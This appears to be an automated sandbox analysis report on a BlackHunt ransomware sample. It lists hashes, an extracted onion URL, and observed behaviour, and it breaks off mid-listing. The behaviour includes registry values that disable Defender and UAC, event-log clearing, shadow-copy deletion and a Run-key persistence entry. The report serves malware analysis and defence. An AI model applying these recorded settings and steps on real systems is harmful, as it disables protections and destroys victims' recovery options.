Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 01:12
Static task
static1
Behavioral task
behavioral1
Sample
e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Resource
win10v2004-20231222-en
General
-
Target
e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
-
Size
707KB
-
MD5
9ee53b40810fe20657655141d1f42236
-
SHA1
6216215b150319687a4b0c6af84e75b38b5b8686
-
SHA256
e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281
-
SHA512
f118a1a7d0b96446dbbf3201ee02ba5f4c4539874824f7a4759704779a222aa9d1d3b93e92784df702ce2e5b6669038aeef26ce8382a6729eb3bc1233fbad3de
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1K8mvnh:6uaTmkZJ+naie5OTamgEoKxLWRYh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1672 fsutil.exe 3800 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3316 wevtutil.exe 2584 wevtutil.exe 3504 wevtutil.exe 3220 wevtutil.exe 3724 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1544 bcdedit.exe 2444 bcdedit.exe 2128 bcdedit.exe 2472 bcdedit.exe -
Renames multiple (2887) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 1912 wbadmin.exe 3756 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 3748 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\J: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\X: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\Q: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\R: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\U: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\G: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\H: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\S: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\V: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\Y: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\B: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\T: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\N: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\E: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\P: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\K: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\Z: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\I: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\O: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\L: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened (read-only) \??\M: e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Lima e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Esl\#BlackHunt_Private.key e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.hta e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Belize e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\#BlackHunt_Private.key e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-over-select.png e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Los_Angeles e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Wallis e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_Private.key e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#BlackHunt_ReadMe.hta e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_zh_TW.jar e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.hta e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_ReadMe.txt e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-14 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_ButtonGraphic.png e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationLeft_ButtonGraphic.png e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.nl_ja_4.4.0.v20140623020002.jar e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\#BlackHunt_ReadMe.hta e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_ReadMe.txt e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yekaterinburg e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\javafx-mx.jar e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_ReadMe.txt e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_ReadMe.txt e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask_PAL.wmv e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.workbench.nl_ja_4.4.0.v20140623020002.jar e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Shanghai e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring.xml e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-annotations-common.xml e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jre7\lib\cmm\PYCC.pf e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.hta e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jawt.h e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Edmonton e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_ReadMe.txt e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_btn-back-static.png e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBlue.png e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Brunei e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Rio_Branco e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_Private.key e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\GMT e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_ja.jar e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Colombo e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.sat4j.core_2.3.5.v201308161310.jar e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\#BlackHunt_Private.key e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Bishkek e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\#BlackHunt_Private.key e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Saipan e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\EST5 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine_2.3.0.v20140506-1720.jar e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse_2.1.200.v20140512-1650.jar e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_ja_4.4.0.v20140623020002.jar e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\7-Zip\Lang\zh-cn.txt e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\send-email-16.png e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_ReadMe.hta e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.hta e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\Java\jre7\bin\#BlackHunt_ReadMe.txt e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Chihuahua e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.hta e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\tzmappings e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2512 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1604 vssadmin.exe 2632 vssadmin.exe 1660 vssadmin.exe 624 vssadmin.exe 1196 vssadmin.exe 3652 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 3632 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3444 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 3460 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe Token: SeRestorePrivilege 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe Token: SeBackupPrivilege 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe Token: SeTakeOwnershipPrivilege 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe Token: SeAuditPrivilege 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe Token: SeSecurityPrivilege 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe Token: SeIncBasePriorityPrivilege 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe Token: SeBackupPrivilege 2904 vssvc.exe Token: SeRestorePrivilege 2904 vssvc.exe Token: SeAuditPrivilege 2904 vssvc.exe Token: SeBackupPrivilege 1728 wbengine.exe Token: SeRestorePrivilege 1728 wbengine.exe Token: SeSecurityPrivilege 1728 wbengine.exe Token: SeSecurityPrivilege 3316 wevtutil.exe Token: SeBackupPrivilege 3316 wevtutil.exe Token: SeSecurityPrivilege 2584 wevtutil.exe Token: SeSecurityPrivilege 3504 wevtutil.exe Token: SeBackupPrivilege 2584 wevtutil.exe Token: SeBackupPrivilege 3504 wevtutil.exe Token: SeSecurityPrivilege 3220 wevtutil.exe Token: SeBackupPrivilege 3220 wevtutil.exe Token: SeSecurityPrivilege 3724 wevtutil.exe Token: SeBackupPrivilege 3724 wevtutil.exe Token: SeDebugPrivilege 3632 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2156 wrote to memory of 3040 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 130 PID 2156 wrote to memory of 3040 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 130 PID 2156 wrote to memory of 3040 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 130 PID 2156 wrote to memory of 3040 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 130 PID 2156 wrote to memory of 2272 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 133 PID 2156 wrote to memory of 2272 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 133 PID 2156 wrote to memory of 2272 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 133 PID 2156 wrote to memory of 2272 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 133 PID 2156 wrote to memory of 2584 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 33 PID 2156 wrote to memory of 2584 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 33 PID 2156 wrote to memory of 2584 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 33 PID 2156 wrote to memory of 2584 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 33 PID 2156 wrote to memory of 2680 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 152 PID 2156 wrote to memory of 2680 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 152 PID 2156 wrote to memory of 2680 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 152 PID 2156 wrote to memory of 2680 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 152 PID 2156 wrote to memory of 2704 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 37 PID 2156 wrote to memory of 2704 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 37 PID 2156 wrote to memory of 2704 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 37 PID 2156 wrote to memory of 2704 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 37 PID 3040 wrote to memory of 2668 3040 reg.exe 38 PID 3040 wrote to memory of 2668 3040 reg.exe 38 PID 3040 wrote to memory of 2668 3040 reg.exe 38 PID 2156 wrote to memory of 2612 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 40 PID 2156 wrote to memory of 2612 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 40 PID 2156 wrote to memory of 2612 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 40 PID 2156 wrote to memory of 2612 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 40 PID 2156 wrote to memory of 2748 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 41 PID 2156 wrote to memory of 2748 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 41 PID 2156 wrote to memory of 2748 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 41 PID 2156 wrote to memory of 2748 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 41 PID 2156 wrote to memory of 2752 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 44 PID 2156 wrote to memory of 2752 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 44 PID 2156 wrote to memory of 2752 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 44 PID 2156 wrote to memory of 2752 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 44 PID 2156 wrote to memory of 2692 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 46 PID 2156 wrote to memory of 2692 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 46 PID 2156 wrote to memory of 2692 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 46 PID 2156 wrote to memory of 2692 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 46 PID 2584 wrote to memory of 1668 2584 cmd.exe 48 PID 2584 wrote to memory of 1668 2584 cmd.exe 48 PID 2584 wrote to memory of 1668 2584 cmd.exe 48 PID 2272 wrote to memory of 2828 2272 conhost.exe 47 PID 2272 wrote to memory of 2828 2272 conhost.exe 47 PID 2272 wrote to memory of 2828 2272 conhost.exe 47 PID 2156 wrote to memory of 2744 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 50 PID 2156 wrote to memory of 2744 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 50 PID 2156 wrote to memory of 2744 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 50 PID 2156 wrote to memory of 2744 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 50 PID 2680 wrote to memory of 2524 2680 vdsldr.exe 52 PID 2680 wrote to memory of 2524 2680 vdsldr.exe 52 PID 2680 wrote to memory of 2524 2680 vdsldr.exe 52 PID 2156 wrote to memory of 1956 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 53 PID 2156 wrote to memory of 1956 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 53 PID 2156 wrote to memory of 1956 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 53 PID 2156 wrote to memory of 1956 2156 